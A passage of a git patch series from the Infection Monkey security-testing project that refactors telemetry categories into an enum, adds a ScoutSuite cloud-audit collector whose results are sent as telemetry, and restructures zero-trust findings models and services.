common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import ( AggregateFinding, add_malicious_activity_to_timeline) from monkey_island.cc.models.zero_trust.event import Event diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index a46dbc4a3..717f57896 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,6 +1,6 @@ import itertools -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from common.network.network_range import NetworkRange from common.network.segmentation_utils import (get_ip_if_in_subnet, get_ip_in_src_and_not_in_dst) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py index b2aeaf524..937cc5baf 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -1,6 +1,6 @@ import uuid -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index f4d508156..341acbf5a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,4 +1,4 @@ -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import ( AggregateFinding, add_malicious_activity_to_timeline) From 3f725c1639d45ecde1e54c9ad239c327fac25bae Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 3 Sep 2020 12:07:04 +0300 Subject: [PATCH 009/466] Added scoutsuite_api to monkey --- .../system_info/collectors/aws_collector.py | 3 +++ .../scoutsuite_collector/scoutsuite_api.py | 20 ++++++++++++++++ .../scoutsuite_collector.py | 23 +++++++++++++++++++ .../telemetry/scoutsuite_telem.py | 20 ++++++++++++++++ 4 files changed, 66 insertions(+) create mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py create mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py create mode 100644 monkey/infection_monkey/telemetry/scoutsuite_telem.py diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index d31dc1ba6..80fbd4f29 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -4,6 +4,7 @@ from common.cloud.aws.aws_instance import AwsInstance from common.common_consts.system_info_collectors_names import AWS_COLLECTOR from infection_monkey.system_info.system_info_collector import \ SystemInfoCollector +from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import CLOUD_TYPES, scan_cloud_security logger = logging.getLogger(__name__) @@ -25,6 +26,8 @@ class AwsCollector(SystemInfoCollector): { 'instance_id': aws.get_instance_id() } + # TODO add IF ON ISLAND check + scan_cloud_security(cloud_type=CLOUD_TYPES.AWS) else: logger.info("Machine is NOT an AWS instance") diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py new file mode 100644 index 000000000..9feec3c3d --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py @@ -0,0 +1,20 @@ +import pkgutil +import sys +from pathlib import PurePath + +_scoutsuite_api_package = pkgutil.get_loader('infection_monkey.system_info.collectors.' + 'scoutsuite_collector.scoutsuite.ScoutSuite.__main__') + + +def _add_scoutsuite_to_python_path(): + scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() + sys.path.append(scoutsuite_path) + + +_add_scoutsuite_to_python_path() + +import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite.ScoutSuite.api_run as scoutsuite_api + + +def run(*args, **kwargs): + return scoutsuite_api.run(*args, **kwargs) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py new file mode 100644 index 000000000..fb33cce4b --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -0,0 +1,23 @@ +import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api +from infection_monkey.telemetry.scoutsuite_telem import ScoutSuiteTelem + + +class CLOUD_TYPES: + AWS = 'aws' + AZURE = 'azure' + GCP = 'gcp' + ALIBABA = 'aliyun' + ORACLE = 'oci' + + +def scan_cloud_security(cloud_type: CLOUD_TYPES): + results = run_scoutsuite(cloud_type) + send_results(results) + + +def run_scoutsuite(cloud_type): + return scoutsuite_api.run(provider=cloud_type) + + +def send_results(results): + ScoutSuiteTelem.send(results) diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py new file mode 100644 index 000000000..d606ea3c3 --- /dev/null +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -0,0 +1,20 @@ +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.telemetry.base_telem import BaseTelem + + +class ScoutSuiteTelem(BaseTelem): + + def __init__(self, data): + """ + Default ScoutSuite telemetry constructor + :param data: Data gathered via ScoutSuite ( + """ + super().__init__() + self.data = data + + telem_category = TelemCategoryEnum.SCOUTSUITE + + def get_data(self): + return { + 'data': self.data + } From 7538f774eda75ce3e129bc9400c8723aaab0cded Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 3 Sep 2020 12:38:40 +0300 Subject: [PATCH 010/466] Migrated more hard coded telem category values to use enum --- monkey/common/common_consts/telem_categories.py | 1 + .../scoutsuite_collector.py | 2 +- .../telemetry/attack/attack_telem.py | 3 ++- .../services/telemetry/processing/processing.py | 17 +++++++++-------- 4 files changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index c983786b9..70066d290 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -7,3 +7,4 @@ class TelemCategoryEnum: SYSTEM_INFO = 'system_info' TRACE = 'trace' TUNNEL = 'tunnel' + ATTACK = 'attack' diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index fb33cce4b..f7d6b7ec5 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -20,4 +20,4 @@ def run_scoutsuite(cloud_type): def send_results(results): - ScoutSuiteTelem.send(results) + ScoutSuiteTelem(results).send(results) diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index 893f4492a..ba3fae8fd 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "VakarisZ" @@ -15,7 +16,7 @@ class AttackTelem(BaseTelem): self.technique = technique self.status = status - telem_category = 'attack' + telem_category = TelemCategoryEnum.ATTACK def get_data(self): return { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 566c11dcc..960a01517 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,5 +1,6 @@ import logging +from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.services.telemetry.processing.exploit import \ process_exploit_telemetry from monkey_island.cc.services.telemetry.processing.post_breach import \ @@ -17,15 +18,15 @@ logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ { - 'tunnel': process_tunnel_telemetry, - 'state': process_state_telemetry, - 'exploit': process_exploit_telemetry, - 'scan': process_scan_telemetry, - 'system_info': process_system_info_telemetry, - 'post_breach': process_post_breach_telemetry, + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, + TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, # `lambda *args, **kwargs: None` is a no-op. - 'trace': lambda *args, **kwargs: None, - 'attack': lambda *args, **kwargs: None, + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, } From 3adafd31b06be79a3fd401f06632fd964995141a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 4 Sep 2020 15:45:48 +0300 Subject: [PATCH 011/466] Small scoutsuite improvement regarding api error handling --- .../system_info/collectors/scoutsuite_collector/scoutsuite | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite index 6707e052b..e5f9760a8 160000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite @@ -1 +1 @@ -Subproject commit 6707e052b8573a4f9eaee7f77f6c5de404f3e8fd +Subproject commit e5f9760a822cc8856a1be3da691c511ad32ad7dd From 549e621895ae0d92d4aba40e47b033109eb6dd88 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 4 Sep 2020 15:46:50 +0300 Subject: [PATCH 012/466] Small telemetry refactoring and added ScoutSuite telem --- monkey/infection_monkey/control.py | 4 +-- .../infection_monkey/telemetry/base_telem.py | 36 +++++++++++++------ .../telemetry/scoutsuite_telem.py | 3 ++ .../cc/resources/reporting/report.py | 3 +- .../telemetry/processing/scoutsuite.py | 11 ++++++ 5 files changed, 42 insertions(+), 15 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 912514b8c..1f3c1c25e 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -128,12 +128,12 @@ class ControlClient(object): return {} @staticmethod - def send_telemetry(telem_category, data): + def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) return try: - telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} + telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': json_data} requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 data=json.dumps(telemetry), headers={'content-type': 'application/json'}, diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 7617ab4e3..07559491c 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -5,6 +5,7 @@ import logging from infection_monkey.control import ControlClient logger = logging.getLogger(__name__) +LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged __author__ = 'itay.mizeretz' @@ -22,12 +23,25 @@ class BaseTelem(object, metaclass=abc.ABCMeta): Sends telemetry to island """ data = self.get_data() + serialized_data = json.dumps(data, cls=self.json_encoder) + self.log_telem_sending(serialized_data, log_data) + ControlClient.send_telemetry(self.telem_category, serialized_data) + + @abc.abstractmethod + def get_data(self) -> dict: + """ + :return: Data of telemetry (should be dict) + """ + pass + + @property + def json_encoder(self): + return json.JSONEncoder + + def log_telem_sending(self, serialized_data: str, log_data=True): + logger.debug(f"Sending {self.telem_category} telemetry.") if log_data: - data_to_log = json.dumps(data) - else: - data_to_log = 'redacted' - logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, data_to_log)) - ControlClient.send_telemetry(self.telem_category, data) + logger.debug(f"Telemetry contents: {BaseTelem.truncate_data(serialized_data)}") @property @abc.abstractmethod @@ -37,9 +51,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta): """ pass - @abc.abstractmethod - def get_data(self) -> dict: - """ - :return: Data of telemetry (should be dict) - """ - pass + @staticmethod + def truncate_data(data: str): + if len(data) <= LOGGED_DATA_LENGTH: + return data + else: + return f"{data[:LOGGED_DATA_LENGTH]}..." diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index d606ea3c3..743de93e7 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,4 +1,6 @@ from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite.ScoutSuite.output.result_encoder import \ + ScoutJsonEncoder from infection_monkey.telemetry.base_telem import BaseTelem @@ -12,6 +14,7 @@ class ScoutSuiteTelem(BaseTelem): super().__init__() self.data = data + json_encoder = ScoutJsonEncoder telem_category = TelemCategoryEnum.SCOUTSUITE def get_data(self): diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index a0ea8b0b9..f196fdfb6 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -31,8 +31,7 @@ class Report(flask_restful.Resource): "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), "grades": ZeroTrustService.get_pillars_grades() - } - ) + }) elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py new file mode 100644 index 000000000..ae63fe508 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -0,0 +1,11 @@ +from monkey_island.cc.database import mongo + + +def process_scoutsuite_telemetry(telemetry_json): + update_data(telemetry_json) + + +def update_data(telemetry_json): + mongo.db.scoutsuite.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'results': telemetry_json['data']}}) From 9952f691981e3bdb0df867f8aecc042f1fb0aa0d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 7 Sep 2020 13:36:18 +0300 Subject: [PATCH 013/466] Refactoring ZT findings --- .../cc/models/zero_trust/aggregate_finding.py | 22 +++++++-- .../cc/models/zero_trust/finding.py | 17 +++---- .../cc/models/zero_trust/finding_details.py | 27 +++++++++++ .../models/zero_trust/scoutsuite_finding.py | 17 +++++++ .../cc/resources/reporting/report.py | 2 +- .../monkey_island/cc/resources/telemetry.py | 1 + .../services/reporting/zero_trust_service.py | 46 ++++++++++++------- .../telemetry/processing/processing.py | 3 ++ .../telemetry/processing/scoutsuite.py | 4 ++ 9 files changed, 107 insertions(+), 32 deletions(-) create mode 100644 monkey/monkey_island/cc/models/zero_trust/finding_details.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py index c5684abc0..af7350830 100644 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -1,5 +1,9 @@ +from typing import List + import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.finding_details import FindingDetails class AggregateFinding(Finding): @@ -12,15 +16,25 @@ class AggregateFinding(Finding): :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not when this function should be used. """ - existing_findings = Finding.objects(test=test, status=status).exclude('events') + existing_findings = Finding.objects(test=test, status=status) assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) if len(existing_findings) == 0: - Finding.save_finding(test, status, events) + AggregateFinding.create_new_finding(test, status, events) else: # Now we know for sure this is the only one - orig_finding = existing_findings[0] - orig_finding.add_events(events) + AggregateFinding.add_events(existing_findings[0], events) + + @staticmethod + def create_new_finding(test: str, status: str, events: List[Event]): + details = FindingDetails() + details.events = events + details.save() + Finding.save_finding(test, status, details) + + @staticmethod + def add_events(finding: Finding, events: List[Event]): + finding.details.fetch().add_events(events) def add_malicious_activity_to_timeline(events): diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index d07cb9a45..b6bbf900d 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -4,12 +4,13 @@ Define a Document Schema for Zero Trust findings. """ from typing import List -from mongoengine import Document, EmbeddedDocumentListField, StringField +from mongoengine import Document, EmbeddedDocumentListField, StringField, LazyReferenceField import common.common_consts.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding_details import FindingDetails class Finding(Document): @@ -33,7 +34,7 @@ class Finding(Document): # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - events = EmbeddedDocumentListField(document_type=Event) + details = LazyReferenceField(document_type=FindingDetails, required=True) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} @@ -46,15 +47,11 @@ class Finding(Document): # Creation methods @staticmethod - def save_finding(test, status, events): - finding = Finding( - test=test, - status=status, - events=events) + def save_finding(test: str, status: str, detail_ref): + finding = Finding(test=test, + status=status, + details=detail_ref) finding.save() return finding - - def add_events(self, events: List) -> None: - self.update(push_all__events=events) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding_details.py b/monkey/monkey_island/cc/models/zero_trust/finding_details.py new file mode 100644 index 000000000..260442781 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/finding_details.py @@ -0,0 +1,27 @@ +from datetime import datetime +from typing import List + +from mongoengine import DateTimeField, Document, StringField, EmbeddedDocumentListField + +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutsuiteFinding + + +class FindingDetails(Document): + """ + This model represents additional information about monkey finding: + Events if monkey finding + Scoutsuite findings if scoutsuite finding + """ + + # SCHEMA + events = EmbeddedDocumentListField(document_type=Event, required=False) + scoutsuite_findings = EmbeddedDocumentListField(document_type=ScoutsuiteFinding, required=False) + + # LOGIC + def add_events(self, events: List[Event]) -> None: + self.update(push_all__events=events) + + def add_scoutsuite_findings(self, scoutsuite_findings: List[ScoutsuiteFinding]) -> None: + self.update(push_all__scoutsuite_findings=scoutsuite_findings) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py new file mode 100644 index 000000000..f8d0f5042 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -0,0 +1,17 @@ +from datetime import datetime + +from mongoengine import DateTimeField, EmbeddedDocument, StringField + + +class ScoutsuiteFinding(EmbeddedDocument): + # SCHEMA + temp = StringField(required=True) + + # LOGIC + @staticmethod + def create_scoutsuite_finding(title, message, event_type, timestamp=None): + scoutsuite_finding = ScoutsuiteFinding() + + scoutsuite_finding.temp = "temp" + + return scoutsuite_finding diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index f196fdfb6..5c25d1ff6 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -35,6 +35,6 @@ class Report(flask_restful.Resource): elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: - return jsonify(ZeroTrustService.get_all_findings()) + return jsonify(ZeroTrustService.get_all_monkey_findings()) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index dd622b140..2686f08fd 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -46,6 +46,7 @@ class Telemetry(flask_restful.Resource): @TestTelemStore.store_test_telem def post(self): telemetry_json = json.loads(request.data) + telemetry_json['data'] = json.loads(telemetry_json['data']) telemetry_json['timestamp'] = datetime.now() telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index a70f4f8b4..bd3f12e16 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -7,6 +7,8 @@ from monkey_island.cc.models.zero_trust.finding import Finding # How many events of a single finding to return to UI. # 50 will return 50 latest and 50 oldest events from a finding +from monkey_island.cc.models.zero_trust.finding_details import FindingDetails + EVENT_FETCH_CNT = 50 @@ -14,7 +16,7 @@ class ZeroTrustService(object): @staticmethod def get_pillars_grades(): pillars_grades = [] - all_findings = Finding.objects().exclude('events') + all_findings = Finding.objects() for pillar in zero_trust_consts.PILLARS: pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar, all_findings)) return pillars_grades @@ -41,7 +43,8 @@ class ZeroTrustService(object): if pillar in test_info[zero_trust_consts.PILLARS_KEY]: pillar_grade[finding.status] += 1 - pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = sum(1 for condition in list(test_unexecuted.values()) if condition) + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = sum(1 for condition in + list(test_unexecuted.values()) if condition) return pillar_grade @@ -70,7 +73,7 @@ class ZeroTrustService(object): worst_status = zero_trust_consts.STATUS_UNEXECUTED all_statuses = set() for test in principle_tests: - all_statuses |= set(Finding.objects(test=test).exclude('events').distinct("status")) + all_statuses |= set(Finding.objects(test=test).distinct('status')) for status in all_statuses: if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \ @@ -83,7 +86,7 @@ class ZeroTrustService(object): def __get_tests_status(principle_tests): results = [] for test in principle_tests: - test_findings = Finding.objects(test=test).exclude('events') + test_findings = Finding.objects(test=test) results.append( { "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], @@ -108,18 +111,30 @@ class ZeroTrustService(object): return current_worst_status @staticmethod - def get_all_findings(): + def get_all_monkey_findings(): + findings = list(Finding.objects) + for finding in findings: + details = finding.details.fetch() + finding.details = details + enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in findings] + all_finding_details = ZeroTrustService._parse_finding_details_for_ui() + return enriched_findings + + + @staticmethod + def _parse_finding_details_for_ui() -> List[FindingDetails]: + """ + We don't need to return all events to UI, we only display N first and N last events. + This code returns a list of FindingDetails with ONLY the events which are relevant to UI. + """ pipeline = [{'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, - 'latest_events': {'$slice': ['$events', -1*EVENT_FETCH_CNT]}, + 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, 'event_count': {'$size': '$events'}}}, {'$unset': ['events']}] - all_findings = list(Finding.objects.aggregate(*pipeline)) - for finding in all_findings: - finding['latest_events'] = ZeroTrustService._get_events_without_overlap(finding['event_count'], - finding['latest_events']) - - enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings] - return enriched_findings + all_details = list(FindingDetails.objects.aggregate(*pipeline)) + for details in all_details: + details['latest_events'] = ZeroTrustService._get_events_without_overlap(details['event_count'], + details['latest_events']) @staticmethod def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: @@ -140,9 +155,6 @@ class ZeroTrustService(object): 'test_key': finding['test'], 'pillars': test_info[zero_trust_consts.PILLARS_KEY], 'status': finding['status'], - 'latest_events': finding['latest_events'], - 'oldest_events': finding['oldest_events'], - 'event_count': finding['event_count'] } return enriched_finding @@ -169,7 +181,7 @@ class ZeroTrustService(object): @staticmethod def __get_status_of_single_pillar(pillar): - all_findings = Finding.objects().exclude('events') + all_findings = Finding.objects() grade = ZeroTrustService.__get_pillar_grade(pillar, all_findings) for status in zero_trust_consts.ORDERED_TEST_STATUSES: if grade[status] > 0: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 960a01517..0038273b1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -13,6 +13,8 @@ from monkey_island.cc.services.telemetry.processing.system_info import \ process_system_info_telemetry from monkey_island.cc.services.telemetry.processing.tunnel import \ process_tunnel_telemetry +from monkey_island.cc.services.telemetry.processing.scoutsuite import \ + process_scoutsuite_telemetry logger = logging.getLogger(__name__) @@ -24,6 +26,7 @@ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ TelemCategoryEnum.SCAN: process_scan_telemetry, TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, # `lambda *args, **kwargs: None` is a no-op. TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index ae63fe508..d0e25aebc 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -1,7 +1,11 @@ +import json + from monkey_island.cc.database import mongo def process_scoutsuite_telemetry(telemetry_json): + # Encode data to json, because mongo can't save it as document (invalid document keys) + telemetry_json['data'] = json.dumps(telemetry_json['data']) update_data(telemetry_json) From 3490be1d8f499be429ad3ce2a5cdf82cbede1060 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 8 Sep 2020 12:39:55 +0300 Subject: [PATCH 014/466] Re-structured ZT files and separated class responsibilities better, also further refactor towards ZT findings being extendable with different types of details. --- .../cc/models/zero_trust/aggregate_finding.py | 45 ------------ .../cc/models/zero_trust/finding.py | 7 +- .../zero_trust/monkey_finding_details.py | 18 +++++ ...tails.py => scoutsuite_finding_details.py} | 10 +-- .../zero_trust/test_aggregate_finding.py | 11 ++- .../cc/resources/reporting/report.py | 2 +- .../cc/resources/zero_trust/finding_event.py | 5 +- .../__init__.py | 0 .../cc/services/zero_trust/events_service.py | 34 ++++++++++ .../cc/services/zero_trust/finding_service.py | 23 +++++++ .../zero_trust/monkey_finding_service.py | 68 +++++++++++++++++++ .../zero_trust/scoutsuite_finding_service.py | 3 + .../test_zero_trust_service.py | 4 +- .../zero_trust_service.py | 64 +---------------- 14 files changed, 162 insertions(+), 132 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py rename monkey/monkey_island/cc/models/zero_trust/{finding_details.py => scoutsuite_finding_details.py} (63%) rename monkey/monkey_island/cc/services/{telemetry/zero_trust_tests => zero_trust}/__init__.py (100%) create mode 100644 monkey/monkey_island/cc/services/zero_trust/events_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/finding_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py rename monkey/monkey_island/cc/services/{reporting => zero_trust}/test_zero_trust_service.py (99%) rename monkey/monkey_island/cc/services/{reporting => zero_trust}/zero_trust_service.py (64%) diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py deleted file mode 100644 index af7350830..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ /dev/null @@ -1,45 +0,0 @@ -from typing import List - -import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.finding_details import FindingDetails - - -class AggregateFinding(Finding): - @staticmethod - def create_or_add_to_existing(test, status, events): - """ - Create a new finding or add the events to an existing one if it's the same 